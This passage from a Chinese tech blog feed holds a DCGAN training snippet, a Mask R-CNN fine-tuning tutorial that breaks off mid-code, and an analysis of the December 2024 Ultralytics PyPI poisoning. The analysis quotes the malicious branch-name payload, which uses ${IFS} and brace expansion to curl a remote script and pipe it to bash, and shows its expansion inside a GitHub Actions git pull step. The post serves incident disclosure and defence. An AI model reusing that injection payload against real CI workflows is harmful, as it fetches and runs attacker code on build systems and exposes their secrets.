optimizerG = optim.Adam(netG.parameters(), lr=lr, betas=(beta1, 0.999))

# 训练循环
# 用于跟踪进度的列表
img_list = []
G_losses = []
D_losses = []
iters = 0

print("开始训练...")

for epoch in range(num_epochs):
    for i, data in enumerate(dataloader, 0):
        ############################
        # (1) 更新判别器
        ###########################
        # 训练判别器，所有梯度清零
        netD.zero_grad()
        # 真实数据
        real_cpu = data[0].to(device)
        b_size = real_cpu.size(0)
        label = torch.full((b_size,), real_label, device=device)
        # 判别器对真实数据的输出
        output = netD(real_cpu).view(-1)
        # 计算真实数据的损失
        errD_real = criterion(output, label)
        # 反向传播
        errD_real.backward()
        D_x = output.mean().item()

        # 生成假数据
        noise = torch.randn(b_size, nz, 1, 1, device=device)
        fake = netG(noise)
        label.fill_(fake_label)
        # 判别器对假数据的输出
        output = netD(fake.detach()).view(-1)
        # 计算假数据的损失
        errD_fake = criterion(output, label)
        # 反向传播
        errD_fake.backward()
        D_G_z1 = output.mean().item()
        # 判别器总的损失
        errD = errD_real + errD_fake
        # 更新判别器
        optimizerD.step()

        ############################
        # (2) 更新生成器
        ###########################
        netG.zero_grad()
        label.fill_(real_label)  # 生成器希望判别器认为生成的数据是真实的
        # 判别器对假数据的输出
        output = netD(fake).view(-1)
        # 计算生成器的损失
        errG = criterion(output, label)
        # 反向传播
        errG.backward()
        D_G_z2 = output.mean().item()
        # 更新生成器
        optimizerG.step()

        # 输出训练状态
        if i % 50 == 0:
            print(
                "[%d/%d][%d/%d]\t判别器损失: %.4f\t生成器损失: %.4f\tD(x): %.4f\tD(G(z)): %.4f / %.4f"
                % (
                    epoch + 1,
                    num_epochs,
                    i,
                    len(dataloader),
                    errD.item(),
                    errG.item(),
                    D_x,
                    D_G_z1,
                    D_G_z2,
                )
            )

        # 保存损失以便后续绘图
        G_losses.append(errG.item())
        D_losses.append(errD.item())

        # 检查生成器的进展，保存生成的图像
        if (iters % 500 == 0) or (
            (epoch == num_epochs - 1) and (i == len(dataloader) - 1)
        ):
            with torch.no_grad():
                fake = netG(fixed_noise).detach().cpu()
            img_list.append(vutils.make_grid(fake, padding=2, normalize=True))

        iters += 1

# 绘制损失曲线
plt.figure(figsize=(10, 5))
plt.title("训练期间生成器和判别器的损失")
plt.plot(G_losses, label="G")
plt.plot(D_losses, label="D")
plt.xlabel("迭代次数")
plt.ylabel("损失")
plt.legend()
plt.show()

# 动画显示生成器的训练进度
fig = plt.figure(figsize=(8, 8))
plt.axis("off")
ims = [[plt.imshow(np.transpose(i, (1, 2, 0)), animated=True)] for i in img_list]

ani = animation.ArtistAnimation(fig, ims, interval=1000, repeat_delay=1000, blit=True)
plt.show()

# 保存模型
torch.save(netG.state_dict(), "netG.pth")
torch.save(netD.state_dict(), "netD.pth")

训练动态图：

DCGAN-Training-Progress DCGAN-Training-Progress

]]> wutianli@tianli0.top (Tianli) 学习笔记 <![CDATA[Ultralytics(YOLOv8/v11) 投毒事件分析]]> https://blog.tianli0.top/posts/2024/Security1 https://blog.tianli0.top/posts/2024/Security1 Thu, 12 Dec 2024 00:00:00 GMT

Ultralytics 是YOLOv8(v11)的代码仓库，YOLOv11是一个很常见的图像目标检测的机器学习库，其性能在YOLO众多版本中表现出色。

相关链接：Discrepancy between what's in GitHub and what's been published to PyPI for v8.3.41 #18027

事件概述 ​

详细事件经过过程可查看此 Issue : Discrepancy between what's in GitHub and what's been published to PyPI for v8.3.41 #18027

Ultralytic发布于PyPI的包在2024-12-04的v8.3.41版本和2024-12-05的v8.3.42版本被投毒，其中恶意脚本主要是在已安装这两个版本的用户的环境中执行挖矿脚本。投毒来源于PR所运行的Workflow。

在事件发生36小时后再次被投毒，攻击者可能是通过前面两次投毒的PR的Workflow获取到了PyPI的API密钥，然后使用该密钥在2024-12-07的8.3.45和8.3.46版本中再次投毒。

时间线 ​

均为UTC时间

  • 2024-12-04 20:51 -> v8.3.41 was released by shell injection - #18018 triggered this action.

  • 2024-12-05 12:47 -> v8.3.42 was released - #17970 triggered this action.

  • 2024-12-07 01:41:45 -> v8.3.45 was likely released directly to PyPI, there is no related PR or action triggered from the action history.

  • 2024-12-07 02:27:14 -> v8.3.46 was likely released directly to PyPI, there is no related PR or action triggered from the action history.

影响范围 ​

影响范围目前已知情报，注意：如果你安装过以下版本，无论是否为受影响系统环境，都应该检查是否受到影响。

受影响的版本有：v8.3.41 、v8.3.42、v8.3.45、v8.3.46

受影响系统环境有：Linux x86、MacOS arm64

受影响安装来源：通过PyPI源安装的用户，通过Git仓库源安装的用户可能不受影响；任何含有v8.3.41、v8.3.42、v8.3.45、v8.3.46版本的Docker镜像；任何上游依赖了v8.3.41、v8.3.42、v8.3.45、v8.3.46的项目。

你可以通过以下命令检查是否受到影响：

bash
pip show ultralytics

解决方案 ​

首先卸载受影响的版本，然后重新安装最新版本。

bash
pip uninstall ultralytics

然后通过 GitHub 源重新安装最新版本。

bash
pip install git+https://github.com/ultralytics/ultralytics.git

或者通过 PyPI 源重新安装最新版本。

bash
pip install ultralytics

事件缘由 ​

分析依据：Discrepancy between what's in GitHub and what's been published to PyPI for v8.3.41 #18027 的讨论

触发事件 ​

OpenIM Robot 为 Ultralytics 项目提交了 PR #18020：

bash
openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/d8daa0b26ae0c221aa4a8c20834c4dbfef2a9a14/file.sh}${IFS}|${IFS}bash)

注意其分支名称，很诡异，居然是一个 shell 脚本，很明显这是一个恶意 PR。

其将 file.sh 文件下载并执行。

此文件已经被删除，会报 404 错误。

yaml 分析 ​

该 PR 触发了 Ultralytics 的 PR 自动化 ultralytics/.github/workflows/format.yml

该 yaml 文件如下：

yaml
# Ultralytics 🚀 - AGPL-3.0 License https://ultralytics.com/license
# Ultralytics Actions https://github.com/ultralytics/actions
# This workflow automatically formats code and documentation in PRs to official Ultralytics standards

name: Ultralytics Actions

on:
  issues:
    types: [opened, edited]
  discussion:
    types: [created]
  pull_request_target:
    branches: [main]
    types: [opened, closed, synchronize, review_requested]

jobs:
  format:
    runs-on: ubuntu-latest
    steps:
      - name: Run Ultralytics Formatting
        uses: ultralytics/actions@main
        with:
          token: ${{ secrets._GITHUB_TOKEN }} # note GITHUB_TOKEN automatically generated
          labels: true # autolabel issues and PRs
          python: true # format Python code and docstrings
          prettier: true # format YAML, JSON, Markdown and CSS
          spelling: true # check spelling
          links: false # check broken links
          summary: true # print PR summary with GPT4o (requires 'openai_api_key')
          openai_api_key: ${{ secrets.OPENAI_API_KEY }}
          first_issue_response: |
            👋 Hello @${{ github.actor }}, thank you for your interest in Ultralytics 🚀! We recommend a visit to the [Docs](https://docs.ultralytics.com) for new users where you can find many [Python](https://docs.ultralytics.com/usage/python/) and [CLI](https://docs.ultralytics.com/usage/cli/) usage examples and where many of the most common questions may already be answered.

            If this is a 🐛 Bug Report, please provide a [minimum reproducible example](https://docs.ultralytics.com/help/minimum_reproducible_example/) to help us debug it.

            If this is a custom training ❓ Question, please provide as much information as possible, including dataset image examples and training logs, and verify you are following our [Tips for Best Training Results](https://docs.ultralytics.com/guides/model-training-tips/).

            Join the Ultralytics community where it suits you best. For real-time chat, head to [Discord](https://discord.com/invite/ultralytics) 🎧. Prefer in-depth discussions? Check out [Discourse](https://community.ultralytics.com). Or dive into threads on our [Subreddit](https://reddit.com/r/Ultralytics) to share knowledge with the community.

            ## Upgrade

            Upgrade to the latest `ultralytics` package including all [requirements](https://github.com/ultralytics/ultralytics/blob/main/pyproject.toml) in a [**Python>=3.8**](https://www.python.org/) environment with [**PyTorch>=1.8**](https://pytorch.org/get-started/locally/) to verify your issue is not already resolved in the latest version:

            ```bash
            pip install -U ultralytics
            ```

            ## Environments

            YOLO may be run in any of the following up-to-date verified environments (with all dependencies including [CUDA](https://developer.nvidia.com/cuda)/[CUDNN](https://developer.nvidia.com/cudnn), [Python](https://www.python.org/) and [PyTorch](https://pytorch.org/) preinstalled):

            - **Notebooks** with free GPU: <a href="https://console.paperspace.com/github/ultralytics/ultralytics"><img src="https://assets.paperspace.io/img/gradient-badge.svg" alt="Run on Gradient"/></a> <a href="https://colab.research.google.com/github/ultralytics/ultralytics/blob/main/examples/tutorial.ipynb"><img src="https://colab.research.google.com/assets/colab-badge.svg" alt="Open In Colab"></a> <a href="https://www.kaggle.com/models/ultralytics/yolo11"><img src="https://kaggle.com/static/images/open-in-kaggle.svg" alt="Open In Kaggle"></a>
            - **Google Cloud** Deep Learning VM. See [GCP Quickstart Guide](https://docs.ultralytics.com/yolov5/environments/google_cloud_quickstart_tutorial/)
            - **Amazon** Deep Learning AMI. See [AWS Quickstart Guide](https://docs.ultralytics.com/yolov5/environments/aws_quickstart_tutorial/)
            - **Docker Image**. See [Docker Quickstart Guide](https://docs.ultralytics.com/yolov5/environments/docker_image_quickstart_tutorial/) <a href="https://hub.docker.com/r/ultralytics/ultralytics"><img src="https://img.shields.io/docker/pulls/ultralytics/ultralytics?logo=docker" alt="Docker Pulls"></a>

            ## Status

            <a href="https://github.com/ultralytics/ultralytics/actions/workflows/ci.yaml?query=event%3Aschedule"><img src="https://github.com/ultralytics/ultralytics/actions/workflows/ci.yaml/badge.svg" alt="Ultralytics CI"></a>

            If this badge is green, all [Ultralytics CI](https://github.com/ultralytics/ultralytics/actions/workflows/ci.yaml?query=event%3Aschedule) tests are currently passing. CI tests verify correct operation of all YOLO [Modes](https://docs.ultralytics.com/modes/) and [Tasks](https://docs.ultralytics.com/tasks/) on macOS, Windows, and Ubuntu every 24 hours and on every commit.

我们先分析以下以上 Workflow 的 yaml 文件干了什么事情：

  • 触发条件：

    • issues：opened、edited
    • discussion：created
    • pull_request_target：opened、closed、synchronize、review_requested

在触发后，首先执行 Run Ultralytics Formatting 步骤：

yaml
- name: Run Ultralytics Formatting
  uses: ultralytics/actions@main
  with:
    token: ${{ secrets._GITHUB_TOKEN }} # note GITHUB_TOKEN automatically generated
    labels: true # autolabel issues and PRs
    python: true # format Python code and docstrings
    prettier: true # format YAML, JSON, Markdown and CSS
    spelling: true # check spelling
    links: false # check broken links
    summary: true # print PR summary with GPT4o (requires 'openai_api_key')
    openai_api_key: ${{ secrets.OPENAI_API_KEY }}

在这里，他调用了 ultralytics/actions 仓库的 main 分支的 Actions，并传入了一些参数，其中包括 GITHUB_TOKEN 及 PR 分支名称。

我们再来看看 ultralytics/actions 仓库的 main 分支的 Actions 文件：actions/action.yml

然后，根据前面的分析。我们主要要找到在哪里传入了分支名称，我们可以看到在：

yaml
- name: Commit and Push Changes
  if: (github.event_name == 'pull_request' || github.event_name == 'pull_request_target') && github.event.action != 'closed'
  run: |
    git config --global user.name "${{ inputs.github_username }}"
    git config --global user.email "${{ inputs.github_email }}"
    git pull origin ${{ github.head_ref || github.ref }}
    git add .
    git reset HEAD -- .github/workflows/  # workflow changes are not permitted with default token
    if ! git diff --staged --quiet; then
      git commit -m "Auto-format by https://ultralytics.com/actions"
      git push
    else
      echo "No changes to commit"
    fi
  shell: bash
  continue-on-error: false

在这里，我们可以看到，他运行了{{ github.head_ref || github.ref }}，这个变量是 PR 的分支名称，那么结合之前的 PR 的 shell 脚本，我们可以知道，他将 PR 的分支名称作为 shell 脚本的参数传入，这就是恶意 PR 执行供应链投毒的根本原因。

在这里，执行相关命令将被替换为变量：

bash
git pull origin $({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/d8daa0b26ae0c221aa4a8c20834c4dbfef2a9a14/file.sh}${IFS}|${IFS}bash)

疑云 ​

到这里，我们只知道一切都指向了 PR 的 shell 脚本，但是我们并不知道这个 shell 脚本到底做了什么，因为它已经被删除了，我们只能根据 Issue 的讨论来推测。

同时，此脚本如何触发了 PyPI 的投毒，也是一个未知数，因为此次actions并没有直接操作PyPI。

再次投毒 ​

在 2024-12-07，再次被投毒，攻击者可能是通过前面两次投毒的PR的Workflow获取到了PyPI的API密钥，然后使用该密钥在2024-12-07的8.3.45和8.3.46版本中再次投毒。

到这里其实才是我对于 Ultralytics 官方最大的疑问，为什么 PyPI 的 API 密钥泄露后没有被删除重置，反而在36小时内再次被攻击者利用。

后话 ​

写到这里，我再完整看了一下 Issue 的完整讨论，发现早有人写完了分析，前面如何获取 PyPI 的 API 密钥，以及如何再次投毒的问题，我也有了答案。

这里我就不再赘述了，有兴趣的可以查看 zizmor would have caught the Ultralytics workflow vulnerability

投毒发生次要原因 ​

  • Github 的 branch 可以是任意的，攻击者可以通过 PR 的 branch 名称传入恶意 shell 脚本，或许 Github 应该对 branch 名称做一些限制。

  • Github 的 Actions 机制无是否使用之分，比如说，我有一个PyPI的API密钥，无论我yaml中是否使用，都是可被读取的。

  • Ultralytics 官方不重视安全问题，其相关漏洞在2024-08-15就被反馈漏洞：CWE-94 GitHub Actions Script Injection in "ultralytics/actions"，并被及时修复，但是其在commit: c1365cedb65b86d4f77cabc192873ee4b6b33276再次引入了漏洞。

  • Ultralytics 官方没有及时响应，在出现投毒事件后理应第一时间发布对外警告，重置所有可能出现泄露的密钥，导致其再次被泄露密钥发版。

如何避免 ​

作为开发者，我们当然不愿意看见自己的项目被投毒，那么我们应该如何避免这种情况呢？

  • 使用局部密钥，而不是全局密钥，控制密钥可访问范围。

  • 警惕 PR 的 Workflow 的权限，不要让 PR 的 Workflow 拥有过高的权限。

  • 警惕自动触发，PR 或者 Issue 触发最好由管理员手动触发。

  • 限制 branch 名称，不要让 branch 名称可以是任意的。

  • 重视密钥安全，密钥泄露后应该第一时间重置密钥。

总结 ​

这件事情能发生，更印证了世界是一个大型的草台班子，其他的不说，修复漏洞并再次引入像是我这种半吊子开发才应该干出来的事情，作为知名的机器学习库，Ultr alytics 居然能犯这种错误，还有就是发现泄露密钥后没有及时重置密钥，导致再次被攻击。太难蚌了。

]]> wutianli@tianli0.top (Tianli) 经验分享 <![CDATA[Pytorch 学习笔记7]]> https://blog.tianli0.top/posts/2024/Pytorch7 https://blog.tianli0.top/posts/2024/Pytorch7 Wed, 11 Dec 2024 00:00:00 GMT

本文可能存在错误，欢迎指正，共同学习进步。

有了前面的基础，我们就可以大致目标检测进行上手了，前面受限于篇幅，很多东西都没写完，寒假要是我记得一定埋坑！

示例参考TorchVision 目标检测微调教程进行操作，建议阅读原文。

这篇文章我们将使用Mask R-CNN模型来进行目标检测并通过微调来训练模型，我们将使用Penn-Fudan Database for Pedestrian Detection and Segmentation数据集，该数据集包含170个图像，345个行人实例，每个图像中的行人数目从2到10不等。

Mask R-CNN 概念 ​

Mask R-CNN 可以参考原论文Mask R-CNN，也可以看看更通俗易懂的深度学习之目标检测的前世今生（Mask R-CNN）。

Mask R-CNN 是一种实例分割模型，它可以同时预测每个实例的边界框和掩码。Mask R-CNN 是一个两阶段的框架，第一阶段是 RPN，用于生成候选区域，第二阶段是 ROI 对齐，用于预测边界框和掩码。

Mask R-CNN是Faster R-CNN的扩展，它添加了一个分割头，允许我们预测每个实例的分割掩码。Mask R-CNN是一个实例分割模型，它可以同时预测每个实例的边界框和掩码。Mask R-CNN是一个两阶段的框架，第一阶段是RPN，用于生成候选区域，第二阶段是ROI对齐，用于预测边界框和掩码。

Mask R-CNN模型由三个主要部分组成：

  • backbone：用于提取特征的主干网络，通常是一个预训练的CNN模型。

  • RPN：区域提议网络，用于生成候选区域。

  • ROI 对齐：用于从候选区域中提取特征。

实验基础信息 ​

  • 系统环境：Windows 11, Pytorch latest, CUDA 12.4, python 3.11

  • 硬件环境：RTX 3060Laptop, i7-12700H, 40GB RAM

  • 模型：Mask R-CNN

  • 数据集: Penn-Fudan 行人检测和分割数据库，包含170个图像，345个行人实例，每个图像中的行人数目从2到10不等。

实验基础运行环境 ​

  • 安装gautamchitnis的torchvision库
bash
pip install cython
pip install git+https://github.com/gautamchitnis/cocoapi.git@cocodataset-master#subdirectory=PythonAPI
pip install torchvision
  • 下载数据集并移动至对应目录
bash
wget https://www.cis.upenn.edu/~jshi/ped_html/PennFudanPed.zip
unzip PennFudanPed.zip
  • 数据集目录结构
bash
PennFudanPed/
  PedMasks/
    FudanPed00001_mask.png
    FudanPed00002_mask.png
    FudanPed00003_mask.png
    FudanPed00004_mask.png
    ...
  PNGImages/
    FudanPed00001.png
    FudanPed00002.png
    FudanPed00003.png
    FudanPed00004.png
    ...
  Annotation/
    FudanPed00001.txt
    FudanPed00002.txt
    FudanPed00003.txt
    FudanPed00004.txt
    ...

PedMasks目录包含了所有的实例分割掩码，PNGImages目录包含了所有的图像，Annotation目录包含了所有的标注文件，每个标注文件包含了对应图像中的行人实例的边界框和类别标签，我们随便看一个标注文件的内容：

txt
# Compatible with PASCAL Annotation Version 1.00
Image filename : "PennFudanPed/PNGImages/FudanPed00001.png"
Image size (X x Y x C) : 559 x 536 x 3
Database : "The Penn-Fudan-Pedestrian Database"
Objects with ground truth : 2 { "PASpersonWalking" "PASpersonWalking" }
# Note there may be some objects not included in the ground truth list for they are severe-occluded
# or have very small size.
# Top left pixel co-ordinates : (1, 1)
# Details for pedestrian 1 ("PASpersonWalking")
Original label for object 1 "PASpersonWalking" : "PennFudanPed"
Bounding box for object 1 "PASpersonWalking" (Xmin, Ymin) - (Xmax, Ymax) : (160, 182) - (302, 431)
Pixel mask for object 1 "PASpersonWalking" : "PennFudanPed/PedMasks/FudanPed00001_mask.png"

# Details for pedestrian 2 ("PASpersonWalking")
Original label for object 2 "PASpersonWalking" : "PennFudanPed"
Bounding box for object 2 "PASpersonWalking" (Xmin, Ymin) - (Xmax, Ymax) : (420, 171) - (535, 486)
Pixel mask for object 2 "PASpersonWalking" : "PennFudanPed/PedMasks/FudanPed00001_mask.png"

关于 labels 的一个说明。模型将类 0 视为背景。如果您的数据集不包含背景类，则您的 labels 中不应包含 0。例如，假设您只有两个类，猫和狗，您可以定义 1（而不是 0）表示猫，2 表示狗。因此，例如，如果其中一张图像同时包含这两个类，则您的 labels 张量应如下所示：[1, 2]。

此外，如果您希望在训练期间使用纵横比分组（以便每个批次仅包含具有相似纵横比的图像），则建议您还实现一个 get_height_and_width 方法，该方法返回图像的高度和宽度。如果没有提供此方法，我们将通过 __getitem__ 查询数据集的所有元素，这会将图像加载到内存中，并且比提供自定义方法要慢。

实验步骤 ​

数据集分析 ​

在开始写代码之前，我们需要先分析一下数据集，我们需要知道数据集中包含了哪些信息，比如图像、标注文件、实例分割掩码等，我们需要知道数据集中的图像和标注文件是如何对应的，我们需要知道标注文件中包含了哪些信息，比如行人实例的边界框和类别标签等，我们需要知道实例分割掩码是如何生成的，我们需要知道实例分割掩码和标注文件是如何对应的等等。

比如，我读取了一个图像及其掩码图像，使用代码如下：

python
import matplotlib.pyplot as plt
from torchvision.io import read_image


image = read_image("data\PennFudanPed\PNGImages\FudanPed00016.png")
mask = read_image("data\PennFudanPed\PedMasks\FudanPed00016_mask.png")

plt.figure(figsize=(10, 5))
plt.subplot(1, 2, 1)
plt.imshow(image.permute(1, 2, 0))
plt.axis("off")
plt.subplot(1, 2, 2)
plt.imshow(mask[0], cmap="gray")
plt.axis("off")
plt.show()

输出示例图 输出示例图

我们可以看到，左边是图像，右边是掩码图像，掩码图像是一个二值图像，其中白色部分表示行人实例，黑色部分表示背景。

然后我们再回过头看看标注文件，我们可以看到标注文件中包含了对应图像中的行人实例的边界框和类别标签，主要有以下几个重要的信息：

  • 图像文件名

  • 图像大小

  • 行人实例的类别标签

  • 行人实例的边界框

  • 行人实例的掩码图像文件名

数据集类定义 ​

接下来，我们需要定义一个数据集类，用于加载数据集，我们需要实现 __len__ 和 __getitem__ 方法，用于返回数据集的大小和数据集中的元素，我们还需要实现 get_height_and_width 方法，用于返回图像的高度和宽度。

python
import os
import torch

from torchvision.io import read_image
from torchvision.ops.boxes import masks_to_boxes
from torchvision import tv_tensors
from torchvision.transforms.v2 import functional as F


class PennFudanDataset(torch.utils.data.Dataset):
    def __init__(self, root, transforms):
        self.root = root
        self.transforms = transforms
        # 加载所有图像文件，并对它们进行排序以确保它们是排列整齐的
        self.imgs = list(sorted(os.listdir(os.path.join(root, "PNGImages"))))
        self.masks = list(sorted(os.listdir(os.path.join(root, "PedMasks"))))

    def __getitem__(self, idx):
        # 加载图像和掩码
        img_path = os.path.join(self.root, "PNGImages", self.imgs[idx])
        mask_path = os.path.join(self.root, "PedMasks", self.masks[idx])
        img = read_image(img_path)
        mask = read_image(mask_path)
        # 实例被编码为不同的颜色
        obj_ids = torch.unique(mask)
        # 第一个ID是背景，所以移除它
        obj_ids = obj_ids[1:]
        num_objs = len(obj_ids)

        # 将彩色编码的掩码分割成一组二进制掩码
        masks = (mask == obj_ids[:, None, None]).to(dtype=torch.uint8)

        # 获取每个掩码的边界框坐标
        boxes = masks_to_boxes(masks)

        # 只有一个类别
        labels = torch.ones((num_objs,), dtype=torch.int64)

        image_id = idx
        area = (boxes[:, 3] - boxes[:, 1]) * (boxes[:, 2] - boxes[:, 0])
        # 假设所有实例都不是密集型的（crowd）
        iscrowd = torch.zeros((num_objs,), dtype=torch.int64)

        # 将样本和目标包装到torchvision的tv_tensors中：
        img = tv_tensors.Image(img)

        target = {}
        target["boxes"] = tv_tensors.BoundingBoxes(boxes, format="XYXY", canvas_size=F.get_size(img))
        target["masks"] = tv_tensors.Mask(masks)
        target["labels"] = labels
        target["image_id"] = image_id
        target["area"] = area
        target["iscrowd"] = iscrowd

        if self.transforms is not None:
            img, target = self.transforms(img, target)

        return img, target

    def __len__(self):
        return len(self.imgs)

以上的代码实现了一个数据集类，用于加载数据集，我们可以看到，我们首先加载图像和掩码，然后将掩码分割成一组二进制掩码，然后获取每个掩码的边界框坐标，然后将样本和目标包装到torchvision的tv_tensors中，最后返回图像和目标。 接下来，我们试试上面的代码有没有成功读取到数据集，我们可以再添加一些代码来测试一下：

python

# 使用我们的数据集类
dataset = PennFudanDataset(root="./data/PennFudanPed", transforms=None)

import matplotlib.pyplot as plt
import matplotlib.patches as patches
import random

# 选择一个样本
idx = random.randint(0, len(dataset))
img, target = dataset[idx]

# 显示图像
plt.imshow(img.permute(1, 2, 0))
plt.axis("off")

# 显示掩码
for mask in target["masks"]:
    plt.imshow(mask, alpha=0.5, cmap="gray")

# 显示边界框
for box in target["boxes"]:
    x, y, w, h = box
    rect = patches.Rectangle(
        (x, y), w - x, h - y, linewidth=2, edgecolor="r", facecolor="none"
    )
    plt.gca().add_patch(rect)

plt.show()

可以看到输出结果如下所示：

输出示例图 输出示例图

Mask R-CNN 模型定义 ​

Mask R-CNN Mask R-CNN

Mask R-CNN 在 Faster R-CNN 中添加了一个额外的分支，该分支还预测每个实例的分割掩码。

首先，假设我们从在COCO上预训练的Faster R-CNN模型开始，我们首先加载预训练的Faster R-CNN模型。

python
import torchvision
from torchvision.models.detection.faster_rcnn import FastRCNNPredictor

# 加载在COCO上预训练的Faster R-CNN模型 pretrained=True代表加载预训练模型
model = torchvision.models.detection.fasterrcnn_resnet50_fpn(weights="DEFAULT")

# 获取分类器的输入特征数，一个分类+一个背景
num_classes = 2

# 获取分类器的输入特征数
in_features = model.roi_heads.box_predictor.cls_score.in_features

# 用新的头部替换预训练的头部
model.roi_heads.box_predictor = FastRCNNPredictor(in_features, num_classes)

然后，我们对模型进行修改，使其支持不同的骨干网络：

python
import torchvision
from torchvision.models.detection import FasterRCNN
from torchvision.models.detection.rpn import AnchorGenerator

# 加载一个预训练的模型，这里使用一个在COCO上预训练的模型
backbone = torchvision.models.mobilenet_v2(weights="DEFAULT").features

# FasterRCNN需要知道骨干网络的输出通道数量
# 对于mobilenet_v2，它是1280所以我们需要在这里添加
backbone.out_channels = 1280

# 定义AnchorGenerator
anchor_generator = AnchorGenerator(sizes=((32, 64, 128, 256, 512),),
                                   aspect_ratios=((0.5, 1.0, 2.0),))

# 定义ROI Pooling
roi_pooler = torchvision.ops.MultiScaleRoIAlign(featmap_names=[0],
                                                output_size=7,
                                                sampling_ratio=2)


# 将骨干网络、RPN、ROI Pooling、分类器和回归器组合到一个模型中
model = FasterRCNN(backbone,
                   num_classes=2,
                   rpn_anchor_generator=anchor_generator,
                   box_roi_pool=roi_pooler)

因为我们数据集仅含几百张图片，对于卷积神经网络来说，这数据集太小了，因此我们得站在巨人的肩膀上，使用预训练的模型来进行微调，这样可以加快训练速度，提高模型的准确性。

在这里，我们将使用一个在COCO数据集上预训练的模型，我们将加载预训练的模型，并将其修改为我们的数据集，然后对其进行微调。

python
import torchvision
from torchvision.models.detection.faster_rcnn import FastRCNNPredictor
from torchvision.models.detection.mask_rcnn import MaskRCNNPredictor

def get_model_instance_segmentation(num_classes):
    # 加载一个在COCO上预训练的模型
    model = torchvision.models.detection.maskrcnn_resnet50_fpn(weights="DEFAULT")

    # 获取分类器的输入特征数
    in_features = model.roi_heads.box_predictor.cls_score.in_features

    # 用新的头部替换预训练的头部
    model.roi_heads.box_predictor = FastRCNNPredictor(in_features, num_classes)

    # 现在获取掩码分类器的输入特征数
    in_features_mask = model.roi_heads.mask_predictor.conv5_mask.in_channels
    hidden_layer = 256

    # 并用新的头部替换掩码预测器的头部
    model.roi_heads.mask_predictor = MaskRCNNPredictor(in_features_mask,hidden_layer,num_classes)

    return model

现在就实现他！ ​

经过前面的各种准备，我们现在就可以实现目标检测了，我们需要定义一些辅助函数，比如计算准确率、计算损失函数等，然后我们就可以开始训练模型了。

首先，我们得定义一些辅助函数，不过这些辅助函数已经有前人实现过了，对于我们来说只需要下载调用就行了。

在windows上，我们首先要安装wget，再执行下载命令：

bash
winget install wget

然后我们就可以下载辅助函数了：

python
import os

os.system("wget https://raw.githubusercontent.com/pytorch/vision/main/references/detection/engine.py")
os.system("wget https://raw.githubusercontent.com/pytorch/vision/main/references/detection/utils.py")
os.system("wget https://raw.githubusercontent.com/pytorch/vision/main/references/detection/coco_utils.py")
os.system("wget https://raw.githubusercontent.com/pytorch/vision/main/references/detection/coco_eval.py")
os.system("wget https://raw.githubusercontent.com/pytorch/vision/main/references/detection/transforms.py")

上面这些还不够，我们再来定义一个数据增强函数：

python
from torchvision.transforms import v2 as T

# 数据增强函数
def get_transform(train):
    transforms = []
    if train:
        transforms.append(T.RandomHorizontalFlip(0.5))
    transforms.append(T.ToDtype(torch.float, scale=True))
    transforms.append(T.ToPureTensor())
    return T.Compose(transforms)

以上代码定义了一个数据增强函数，用于对图像和目标进行数据增强，我们可以看到，我们首先对图像进行随机水平翻转，然后将图像转换为float类型，最后将图像转换为tensor类型。

准备工作做完了，我们就可以开始训练模型了，我们首先加载数据集，然后定义数据增强函数，然后定义模型，然后定义优化器，然后定义损失函数，然后定义学习率调度器，然后定义训练器，然后开始训练模型。

我们先梳理一下基础流程：

代码如下：

python
import os
import torch

from torchvision.io import read_image
from torchvision.ops.boxes import masks_to_boxes
from torchvision import tv_tensors
from torchvision.transforms.v2 import functional as F

class PennFudanDataset(torch.utils.data.Dataset):
    def __init__(self, root, transforms):
        self.root = root
        self.transforms = transforms
        # 加载所有图像文件，并对它们进行排序以确保它们是排列整齐的
        self.imgs = list(sorted(os.listdir(os.path.join(root, "PNGImages"))))
        self.masks = list(sorted(os.listdir(os.path.join(root, "PedMasks"))))

    def __getitem__(self, idx):
        # 加载图像和掩码
        img_path = os.path.join(self.root, "PNGImages", self.imgs[idx])
        mask_path = os.path.join(self.root, "PedMasks", self.masks[idx])
        img = read_image(img_path)
        mask = read_image(mask_path)
        # 实例被编码为不同的颜色
        obj_ids = torch.unique(mask)
        # 第一个ID是背景，所以移除它
        obj_ids = obj_ids[1:]
        num_objs = len(obj_ids)

        # 将彩色编码的掩码分割成一组二进制掩码
        masks = (mask == obj_ids[:, None, None]).to(dtype=torch.uint8)

        # 获取每个掩码的边界框坐标
        boxes = masks_to_boxes(masks)

        # 只有一个类别
        labels = torch.ones((num_objs,), dtype=torch.int64)

        image_id = idx
        area = (boxes[:, 3] - boxes[:, 1]) * (boxes[:, 2] - boxes[:, 0])
        # 假设所有实例都不是密集型的（crowd）
        iscrowd = torch.zeros((num_objs,), dtype=torch.int64)

        # 将样本和目标包装到torchvision的tv_tensors中：
        img = tv_tensors.Image(img)

        target = {}
        target["boxes"] = tv_tensors.BoundingBoxes(
            boxes, format="XYXY", canvas_size=F.get_size(img)
        )
        target["masks"] = tv_tensors.Mask(masks)
        target["labels"] = labels
        target["image_id"] = image_id
        target["area"] = area
        target["iscrowd"] = iscrowd

        if self.transforms is not None:
            img, target = self.transforms(img, target)

        return img, target

    def __len__(self):
        return len(self.imgs)

from torchvision.transforms import v2 as T

# 定义训练和验证数据集，数据增强和标准化
def get_transform(train):
    transforms = []
    if train:
        transforms.append(T.RandomHorizontalFlip(0.5))
    transforms.append(T.ToDtype(torch.float, scale=True))
    transforms.append(T.ToPureTensor())
    return T.Compose(transforms)

import torchvision
from torchvision.models.detection.faster_rcnn import FastRCNNPredictor
from torchvision.models.detection.mask_rcnn import MaskRCNNPredictor

def get_model_instance_segmentation(num_classes):
    # 加载在COCO上预训练的预训练模型
    model = torchvision.models.detection.maskrcnn_resnet50_fpn(weights="DEFAULT")

    # 获取分类器的输入特征数
    in_features = model.roi_heads.box_predictor.cls_score.in_features
    # 用新的头部替换预先训练好的头部
    model.roi_heads.box_predictor = FastRCNNPredictor(in_features, num_classes)

    # 现在获取掩码分类器的输入特征数
    in_features_mask = model.roi_heads.mask_predictor.conv5_mask.in_channels
    hidden_layer = 256
    # 并用新的掩码预测器替换掩码预测器
    model.roi_heads.mask_predictor = MaskRCNNPredictor(
        in_features_mask, hidden_layer, num_classes
    )

    return model


from engine import train_one_epoch, evaluate
import utils


device = torch.device("cuda") if torch.cuda.is_available() else torch.device("cpu")

# 我们的数据集只有两个类 - 行人和背景
num_classes = 2
# 使用我们的数据集和定义的转换
dataset = PennFudanDataset("data/PennFudanPed", get_transform(train=True))
dataset_test = PennFudanDataset("data/PennFudanPed", get_transform(train=False))

